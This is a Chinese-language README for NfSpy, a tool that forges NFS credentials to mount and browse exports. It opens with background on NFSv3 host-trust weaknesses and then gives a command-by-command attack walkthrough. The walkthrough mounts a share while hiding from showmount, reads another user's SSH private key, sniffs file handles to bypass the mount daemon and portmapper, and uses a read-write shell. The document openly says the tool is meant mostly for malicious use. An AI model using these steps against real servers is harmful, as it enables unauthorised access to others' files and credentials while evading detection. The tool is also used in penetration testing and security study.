NfSpy 是一个 Python 库,用于在挂载 NFS 共享时自动伪造 NFS 凭据。其中包括两个客户端程序:
nfspy 使用用户空间文件系统(FUSE)库在 Linux 中挂载 NFS
共享。这允许使用任何常规的文件搜索和操作程序(如 grep 和 find)来探索 NFS 导出。
nfspysh 是一个类似 ftp 的交互式 shell,用于探索 NFS 导出。它 不需要 FUSE 库,因此可以在非 Linux 平台上运行。
4.0 之前的 NFS 依赖主机信任关系进行身份验证。NFS 服务器信任任何客户端机器来认证用户,并分配与共享文件系统相同的用户 ID(UID)。例如,这在 NIS、NIS+ 和 LDAP 域中有效,但前提是你知道客户端机器并未被入侵,或没有伪造其身份。这是因为 NFS 协议中唯一的身份验证就是传递 UID 和 GID(组 ID)。虽然可以采取一些措施来增强 NFS 的安全性,但其中许多都是不完整的解决方案,即使列出的三种措施全部使用,仍然可能绕过安全措施。
服务器或共享(NFS 术语中的“导出”)可以配置为 root_squash,这意味着任何声称自己是 UID 或 GID 0(root)的请求都将被视为 nobody 用户(或系统中的等效用户)。这并不能阻止攻击者伪造任何其他 UID/GID 组合,但可以保护导出上最敏感的信息和配置。
另一个可以启用的设置是 nfs_portmon,它会拒绝来自 513-1024 范围之外源端口的请求。由于通常只有 root 才能分配这些端口,这可以防止受信任机器上的普通用户编写和使用自己的伪造 UID/GID 的 NFS 客户端。但它无法阻止恶意主机、具有 su 权限的用户或已被 root 级别入侵的机器做同样的事情。
可以控制共享/导出,使只有特定机器才能访问它们。这些访问控制列表可以包含:
最佳配置是使用主机列表,因为查询 nfs 守护进程只会返回列表的名称,而不会返回其包含的地址或名称。其次是 IP 地址或主机名,因为这些更难伪造。IP 前缀和“everyone”则表示不安全,因为对可连接的地址几乎没有限制或没有限制。
可以通过运行以下命令查看选项列表:
nfspy --help
假设 192.168.1.124 上有一台 NFS 服务器。
$ showmount -e 192.168.1.124
Export list for 192.168.1.124:
/home (everyone)
挂载该共享。使用 sudo 可以绑定到特权端口,allow_other 选项允许任何用户使用该文件系统。这里另一个新选项是 hide,它会立即在服务器上“卸载”该共享,但保留它获得的文件句柄。这样,任何使用 showmount -a 的人都看不到你的存在。
$ sudo nfspy -o server=192.168.1.124:/home,hide,allow_other,ro,intr /mnt
享受你新获得的自由吧!
$ cd /mnt
/mnt$ ls -l
drwx------ 74 8888 200 4096 2011-03-03 09:55 smithj
/mnt$ cd smithj
/mnt/smithj$ cat .ssh/id.rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,30AEB543E512CA19
<snip>
要卸载,请使用 fusermount:
$ sudo fusermount -u /mnt
假设 192.168.1.124 上有一台 NFS 服务器。portmap 被阻止,因此你无法获取共享列表,但你可以嗅探网络流量。
$ sudo tshark -n -i eth0 -T fields -e nfs.fhandle
Running as user "root" and group "root". This could be dangerous.
Capturing on eth0
01:00:04:00:01:00:22:00:e5:03:d8:9d:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00
^C3 packets captured
现在使用 dirhandle 和 getroot 挂载选项来避免使用 mount 守护进程,并使用 nfsport 选项来避免使用 portmapper,从而向上遍历目录树直到导出的根目录。
$ sudo nfspy -o rw,server=192.168.1.124:,nfsport=2049/udp,dirhandle=01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00,getroot mnt
请注意,我们没有提供要挂载的路径,因为我们只知道 NFS 文件句柄。要让此操作生效,句柄必须指向目录而非文件,并且你必须尽快操作,否则句柄会过期。
tshark 程序是 Wireshark 项目的一部分。常见的 tcpdump 程序也可以使用 -u 选项解码 NFS 文件句柄:
sudo tcpdump -n -i eth1 -u -- port 2049
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
11:16:38.041242 IP 192.168.1.5.3057978128 > 192.168.1.124.2049: 120 getattr fh[2070001:762001:0:7500c611:a04186e6:edccffaa:1a0a608e:a065:500859ff:762001:adebb708]
这些文件句柄是以冒号分隔的 4 字节序列,因此你需要自行用零填充它们;NfSpy 只会去掉冒号,这是不正确的。
nfspysh 采用与 nfspy 相同的格式和基本选项集,因此上面的教程应该同样适用。可以使用 help 命令查看命令列表。
$ sudo PYTHONPATH=. python scripts/nfspysh -o server=127.0.0.1:/home/miller/nfs
[email protected]:/home/miller/nfs:/> ls
/:
040775 1000 1000 4096 2013-04-13 23:20:37 .
040775 1000 1000 4096 2013-04-13 23:20:37 ..
040775 1000 1000 4096 2013-04-11 06:36:48 public
040775 1000 1000 4096 2013-04-13 23:26:40 more
040700 0 1000 4096 2013-04-11 06:39:12 secrets
100666 1000 1000 5 2013-04-13 23:28:02 README.md
120777 1000 1000 21 2013-04-13 13:00:24 nmap -> /usr/local/share/nmap
[email protected]:/home/miller/nfs:/more> help
Known commands:
cd
chmod
chown
exit
get
help
lcd
lpwd
ls
mkdir
mv
put
pwd
rm
rmdir
umask
[email protected]:/home/miller/nfs:/more> help get
get <filename> [<localname>]
Retrieve <filename> and save to <localname>. If no <localname> is given,
defaults to the basename of <filename> in the current local working directory.
[email protected]:/home/miller/nfs:/more> exit
Quitting.
写入访问仍处于测试阶段。它已在我对少数系统的测试中正常工作,但还需要更多测试。因此,NfSpy 默认以 ro 挂载。请指定 rw 挂载选项来更改此行为。
(nfspysh 没有只读模式。请谨慎使用!)
NfSpy 无法与标准的 lockd 和 statd 服务配合使用,这可能会导致写入文件时出现问题。不过,对于只读操作以及它旨在进行的绝大多数恶意用途来说,这应该不是问题。
NfSpy 目前仅支持 NFSv3。未来的版本可能会智能地选择 NFS 版本。